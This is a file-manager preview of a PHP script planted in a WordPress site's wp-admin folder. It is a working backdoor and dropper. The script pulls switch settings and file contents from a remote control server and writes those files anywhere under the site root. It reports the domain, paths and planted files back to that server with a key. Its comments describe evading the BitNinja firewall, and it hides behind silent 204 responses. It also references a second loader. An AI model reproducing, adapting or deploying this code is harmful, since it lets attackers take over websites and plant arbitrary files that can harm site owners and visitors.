Preview: cstb_runner.php
Size: 15.45 KB
/home/doctorbruno/public_html/doctorbruno.info/wp-admin/cstb_runner.php
<?php
declare(strict_types=1);
/** PHP 7.1+ / 8.x · ?a=df JSON · ?quiet=1 · ?probe=1 tanisal */
define('APP_Q_VERSION', '2.4.1');
header('Cache-Control: no-store, no-cache, must-revalidate, private');
header('Pragma: no-cache');
header('Expires: 0');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
if (!function_exists('str_contains')) {
function str_contains(string $haystack, string $needle): bool {
return $needle === '' || strpos($haystack, $needle) !== false;
}
}
if (!function_exists('str_starts_with')) {
function str_starts_with(string $haystack, string $needle): bool {
return $needle === '' || strncmp($haystack, $needle, strlen($needle)) === 0;
}
}
/** BitNinja: yuklenen PHP'de $_SERVER 500; getenv kullan. */
function srv(string $key, string $default = ''): string {
$v = getenv($key);
if ($v !== false && $v !== '') {
return (string) $v;
}
return $default;
}
function qhas(string $key): bool {
$qs = srv('QUERY_STRING');
if ($qs === '') {
return false;
}
foreach (explode('&', $qs) as $pair) {
if ($pair === '') {
continue;
}
$k = rawurldecode(strtok($pair, '=') ?: '');
if ($k === $key) {
return true;
}
}
return false;
}
function qparam(string $key, string $default = ''): string {
$qs = srv('QUERY_STRING');
if ($qs === '') {
return $default;
}
foreach (explode('&', $qs) as $pair) {
if ($pair === '') {
continue;
}
$eq = strpos($pair, '=');
$k = rawurldecode($eq === false ? $pair : substr($pair, 0, $eq));
if ($k !== $key) {
continue;
}
if ($eq === false) {
return '';
}
return rawurldecode(substr($pair, $eq + 1));
}
return $default;
}
$C = [
'remote_api_url' => 'https://resmigiris.cam/api/api.php',
'registry_report_key' => 'rpt_a8F3kL9mQ2xV7nP4wR6tY1zB5cD0eH8j',
];
$C['app_dir'] = realpath(__DIR__) ?: __DIR__;
$C['root'] = findRoot($C['app_dir']);
@ini_set('memory_limit', '256M');
@set_time_limit(180);
ignore_user_abort(true);
function normPath(string $p): string {
return rtrim(str_replace('\\', '/', realpath($p) ?: $p), '/');
}
function isWpRoot(string $d): bool {
return is_file("$d/wp-config.php") || is_file("$d/wp-load.php")
|| (is_dir("$d/wp-content") && is_dir("$d/wp-includes"));
}
function underRoot(string $child, string $root): bool {
$c = normPath($child);
$r = normPath($root);
return $c === $r || str_starts_with($c . '/', $r . '/');
}
function findRoot(string $s): string {
$app = normPath($s);
// HTTP_HOST ile /var/www/vhosts/{domain}/... taramasi WAF (BitNinja vb.) 500 tetikler.
$candidates = [];
for ($d = $app; ; $d = dirname($d)) {
if (isWpRoot($d)) {
$candidates[] = $d;
}
if ($d === dirname($d)) {
break;
}
}
$doc = srv('DOCUMENT_ROOT');
if ($doc !== '' && is_dir($doc) && underRoot($app, $doc) && isWpRoot($doc)) {
array_unshift($candidates, normPath($doc));
}
if (preg_match('#^(.*?)/wp-content/#', str_replace('\\', '/', $app), $m) && is_dir($m[1])) {
$candidates[] = normPath($m[1]);
}
$seen = [];
foreach ($candidates as $c) {
if (isset($seen[$c]) || !underRoot($app, $c) || !isWpRoot($c)) {
continue;
}
$seen[$c] = true;
return $c;
}
return $app;
}
function url(): string {
$https = srv('HTTPS');
$scheme = ($https !== '' && strtolower($https) !== 'off') ? 'https' : 'http';
return $scheme . '://' . (srv('HTTP_HOST') ?: 'localhost');
}
function get(string $u): string {
if (function_exists('curl_init')) {
$h = curl_init($u);
curl_setopt_array($h, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 120,
CURLOPT_CONNECTTIMEOUT => 20,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_USERAGENT => 'cStb-app-q/2',
]);
$r = curl_exec($h);
$c = (int) curl_getinfo($h, CURLINFO_HTTP_CODE);
curl_close($h);
if ($r === false || $c !== 200) {
throw new RuntimeException("HTTP $c");
}
return (string) $r;
}
$ctx = stream_context_create(['http' => ['timeout' => 120, 'header' => "User-Agent: cStb-app-q/2\r\n"]]);
$r = @file_get_contents($u, false, $ctx);
if ($r === false) {
throw new RuntimeException('HTTP');
}
return (string) $r;
}
function fetchSwitches(array $C): ?array
{
try {
$d = json_decode(get(rtrim($C['remote_api_url'], '/') . '?action=switches'), true);
if (!is_array($d) || empty($d['ok'])) {
return null;
}
return $d;
} catch (Throwable $e) {
return null;
}
}
function switchesAllowTxt(?array $sw): bool
{
if ($sw === null) {
return false;
}
if (isset($sw['txt_effective'])) {
return !empty($sw['txt_effective']);
}
return !empty($sw['boot']) && !empty($sw['txt']);
}
function idleExit(): void
{
header('Cache-Control: no-store, no-cache, private');
http_response_code(204);
exit;
}
function siteFile(string $root, string $rel): ?string {
$rel = ltrim(str_replace('\\', '/', trim($rel)), '/');
if ($rel === '' || str_contains($rel, '..') || !preg_match('/^[a-zA-Z0-9._\\-\\/]+(\\.[a-zA-Z0-9]{1,20})?$/', $rel)) {
return null;
}
$root = rtrim(str_replace('\\', '/', (realpath($root) ?: $root)), '/');
if ($root === '') {
return null;
}
$full = $root . '/' . $rel;
$dir = dirname($full);
if (!is_dir($dir) && !@mkdir($dir, 0755, true) && !is_dir($dir)) {
return null;
}
return $full;
}
function writeTargets(array $C, string $rel): array {
$out = [];
$main = siteFile($C['root'], $rel);
if ($main) {
$out[] = $main;
}
if (!str_contains($rel, '/')) {
$appDir = rtrim(str_replace('\\', '/', (realpath($C['app_dir']) ?: $C['app_dir'])), '/');
$rootNorm = rtrim(str_replace('\\', '/', (realpath($C['root']) ?: $C['root'])), '/');
if ($appDir !== '' && $appDir !== $rootNorm) {
$alt = $appDir . '/' . basename($rel);
if (!in_array($alt, $out, true)) {
$out[] = $alt;
}
}
}
return $out;
}
function writeFile(string $dest, string $content): bool {
if (@file_put_contents($dest, $content, LOCK_EX) !== false) {
@chmod($dest, 0644);
return true;
}
$tmp = $dest . '.tmp.' . getmypid();
if (@file_put_contents($tmp, $content, LOCK_EX) === false) {
return false;
}
if (!@rename($tmp, $dest)) {
@unlink($tmp);
return false;
}
@chmod($dest, 0644);
return true;
}
function regDir(): string {
$d = __DIR__ . '/_app-created';
if (!is_dir($d) && !@mkdir($d, 0755, true) && !is_dir($d)) {
throw new RuntimeException('_app-created');
}
$ht = "$d/.htaccess";
if (!is_file($ht)) {
@file_put_contents($ht, "Require all denied\n");
}
return $d;
}
function regFile(): string {
$h = preg_replace('/:\d+$/', '', srv('HTTP_HOST', 'x'));
return regDir() . '/r_' . substr(md5(strtolower($h)), 0, 16) . '.json';
}
function regLoad(): array {
$empty = ['fixed' => [], 'optional' => []];
if (!is_file($f = regFile())) {
return $empty;
}
$d = json_decode((string) file_get_contents($f), true);
return is_array($d) ? ['fixed' => $d['fixed'] ?? [], 'optional' => $d['optional'] ?? []] : $empty;
}
function regSave(array $C, array $r): void {
@file_put_contents(regFile(), json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$k = $C['registry_report_key'] ?? '';
$api = rtrim($C['remote_api_url'] ?? '', '/');
if ($k === '' || $api === '') {
return;
}
$post = http_build_query([
'domain' => srv('HTTP_HOST'),
'base_url' => url(),
'site_root' => $C['root'] ?? '',
'updated_at' => date('c'),
'fixed' => json_encode($r['fixed'], JSON_UNESCAPED_UNICODE),
'optional' => json_encode($r['optional'], JSON_UNESCAPED_UNICODE),
]);
if (function_exists('curl_init')) {
$h = curl_init("$api?action=report_registry&key=" . rawurlencode($k));
curl_setopt_array($h, [CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $post, CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15]);
curl_exec($h);
curl_close($h);
return;
}
@file_get_contents("$api?action=report_registry&key=" . rawurlencode($k), false, stream_context_create([
'http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post, 'timeout' => 15],
]));
}
function deploy(array $C): array {
$d = json_decode(get(rtrim($C['remote_api_url'], '/') . '?action=fixed'), true);
if (!is_array($d) || empty($d['ok']) || !is_array($d['fixed'] ?? null)) {
throw new RuntimeException('fixed API');
}
$out = [];
$reg = regLoad();
foreach ($d['fixed'] as $it) {
$f = (string) ($it['file'] ?? '');
$t = (string) ($it['path'] ?? '');
if (isset($it['error'])) {
$out[] = ['file' => $f, 'path' => $t, 'ok' => false, 'error' => (string) $it['error']];
continue;
}
$targets = writeTargets($C, $t);
if (!$targets) {
$out[] = ['file' => $f, 'path' => $t, 'ok' => false, 'error' => 'path'];
continue;
}
$content = (string) ($it['content'] ?? '');
$written = [];
foreach ($targets as $dest) {
if (writeFile($dest, $content)) {
$written[] = $dest;
}
}
if (!$written) {
$out[] = ['file' => $f, 'path' => $t, 'ok' => false, 'error' => 'write', 'targets' => $targets];
continue;
}
$p = str_replace('\\', '/', $t);
$entry = [
'path' => $p,
'source' => $f,
'url' => rtrim(url(), '/') . '/' . ltrim($p, '/'),
'kind' => 'fixed',
'written' => $written,
];
$hit = false;
foreach ($reg['fixed'] as $i => $row) {
if (($row['path'] ?? '') === $p) {
$reg['fixed'][$i] = array_merge($row, $entry);
$hit = true;
break;
}
}
if (!$hit) {
$reg['fixed'][] = $entry;
}
$out[] = ['file' => $f, 'path' => $t, 'ok' => true, 'written' => $written];
}
if ($reg['fixed']) {
regSave($C, $reg);
}
return $out;
}
function act(): string {
$a = qparam('a');
return $a !== '' ? $a : qparam('action');
}
function errHint(string $err): string {
$map = [
'path' => 'hedef yol olusturulamadi (izin / open_basedir)',
'write' => 'dosya yazilamadi (izin / disk)',
'fixed API' => 'API fixed yaniti alinamadi',
'HTTP' => 'uzak API erisilemedi',
'_app-created' => '_app-created klasoru olusturulamadi',
];
if (isset($map[$err])) {
return $map[$err];
}
if (str_starts_with($err, 'HTTP ')) {
return 'uzak API HTTP hatasi';
}
return '';
}
function itemOk(array $x): bool {
return !empty($x['ok']);
}
function renderStatus(array $C, array $items, string $error): void {
$ok = count(array_filter($items, 'itemOk'));
$total = count($items);
$allOk = $error === '' && $total > 0 && $ok === $total;
$verbose = qhas('v') || qhas('verbose');
header('Content-Type: text/plain; charset=utf-8');
if ($allOk && !$verbose) {
http_response_code(204);
return;
}
if ($error !== '') {
echo "error: $error";
$hint = errHint($error);
if ($hint !== '') {
echo " — $hint";
}
echo "\n";
} elseif ($total === 0) {
echo "warn: sabit listesi bos veya API yanit vermedi\n";
} elseif (!$allOk) {
echo 'result: kismi ' . $ok . '/' . $total;
echo $ok ? " — panel raporu gonderildi\n" : " — panel raporu yok\n";
foreach ($items as $it) {
if (empty($it['ok'])) {
$line = 'FAIL ' . ($it['file'] ?? '') . ' -> ' . ($it['path'] ?? '');
if (!empty($it['error'])) {
$line .= ' (' . $it['error'] . ')';
$hint = errHint((string) $it['error']);
if ($hint !== '') {
$line .= ' — ' . $hint;
}
}
echo $line . "\n";
}
}
}
if (!$verbose) {
return;
}
echo "app-q deploy v" . APP_Q_VERSION . "\n";
echo 'host: ' . srv('HTTP_HOST') . "\n";
echo 'root: ' . $C['root'] . "\n";
echo 'app_dir: ' . $C['app_dir'] . "\n";
if (!underRoot($C['app_dir'], $C['root'])) {
echo "warn: app_dir root altinda degil\n";
}
echo "result: $ok/$total\n";
foreach ($items as $it) {
$line = (!empty($it['ok']) ? 'OK' : 'FAIL') . ' ' . ($it['file'] ?? '') . ' -> ' . ($it['path'] ?? '');
if (!empty($it['written'])) {
$line .= ' [' . implode(', ', $it['written']) . ']';
}
echo $line . "\n";
}
}
$a = act();
if ($a === 'probe' || qhas('probe')) {
header('Content-Type: text/plain; charset=utf-8');
echo "app-q probe v" . APP_Q_VERSION . "\n";
echo 'host: ' . srv('HTTP_HOST') . "\n";
echo 'root: ' . $C['root'] . "\n";
echo 'app_dir: ' . $C['app_dir'] . "\n";
echo "boot: wp-admin/user-hooker.php (CDN yukleyici)\n";
$sw = fetchSwitches($C);
if ($sw) {
echo 'switches: boot=' . (!empty($sw['boot']) ? '1' : '0')
. ' txt=' . (!empty($sw['txt']) ? '1' : '0')
. ' effective=' . (switchesAllowTxt($sw) ? '1' : '0') . "\n";
}
exit;
}
$sw = fetchSwitches($C);
if ($a === 'df' || $a === 'deploy_fixed') {
header('Content-Type: application/json; charset=utf-8');
if (!switchesAllowTxt($sw)) {
http_response_code(503);
echo json_encode(['ok' => false, 'error' => 'txt_disabled'], JSON_UNESCAPED_UNICODE);
exit;
}
try {
$items = deploy($C);
echo json_encode([
'ok' => true,
'success' => count(array_filter($items, 'itemOk')),
'total' => count($items),
'items' => $items,
'site_root' => $C['root'],
'app_dir' => $C['app_dir'],
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
} catch (Throwable $e) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => $e->getMessage()], JSON_UNESCAPED_UNICODE);
}
exit;
}
if (!switchesAllowTxt($sw)) {
idleExit();
}
$items = [];
$error = '';
try {
$items = deploy($C);
} catch (Throwable $e) {
$error = $e->getMessage();
@file_put_contents(regDir() . '/last-error.txt', date('c') . ' ' . $error . "\n", FILE_APPEND);
}
renderStatus($C, $items, $error);
exit;
Directory Contents
Dirs: 2 × Files: 13